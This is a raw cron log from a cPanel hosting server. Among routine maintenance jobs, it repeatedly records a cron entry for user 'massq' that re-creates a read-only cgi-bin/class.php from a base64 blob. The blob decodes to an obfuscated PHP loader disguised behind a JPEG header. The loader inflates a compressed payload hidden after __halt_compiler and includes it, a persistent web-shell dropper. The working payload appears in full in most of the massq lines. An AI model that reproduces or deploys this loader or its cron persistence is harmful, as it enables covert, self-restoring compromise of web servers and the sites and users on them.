Sep  5 03:38:01 server CROND[19374]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:38:01 server CROND[19375]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 03:38:01 server CROND[19376]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:39:01 server CROND[19742]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:39:01 server CROND[19741]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:39:01 server CROND[19743]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 03:39:01 server CROND[19744]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 03:40:01 server CROND[20136]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:40:01 server CROND[20139]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 03:40:01 server CROND[20140]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 03:40:01 server CROND[20141]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:40:01 server CROND[20143]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 03:40:01 server CROND[20142]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 03:40:01 server CROND[20147]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 03:40:01 server CROND[20138]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 03:41:01 server CROND[20992]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 03:41:01 server CROND[20993]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:41:01 server CROND[20994]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:42:01 server CROND[21462]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 03:42:01 server CROND[21461]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 03:42:01 server CROND[21463]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:42:01 server CROND[21464]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:43:01 server CROND[21850]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:43:01 server CROND[21851]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:43:01 server CROND[21852]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 03:44:01 server CROND[22222]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:44:01 server CROND[22223]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:44:01 server CROND[22224]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 03:45:01 server CROND[22604]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 03:45:01 server CROND[22623]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:45:01 server CROND[22629]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 03:45:01 server CROND[22631]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 03:45:01 server CROND[22632]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 03:45:01 server CROND[22630]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 03:45:01 server CROND[22633]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:46:01 server CROND[23604]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:46:01 server CROND[23605]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 03:46:01 server CROND[23606]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:47:01 server CROND[23995]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 03:47:01 server CROND[23997]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:47:01 server CROND[23996]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:48:01 server CROND[24471]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:48:01 server CROND[24472]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:48:01 server CROND[24473]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 03:49:01 server CROND[24858]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:49:01 server CROND[24857]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:49:01 server CROND[24859]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 03:50:01 server CROND[25263]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 03:50:01 server CROND[25264]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 03:50:01 server CROND[25267]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 03:50:01 server CROND[25266]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
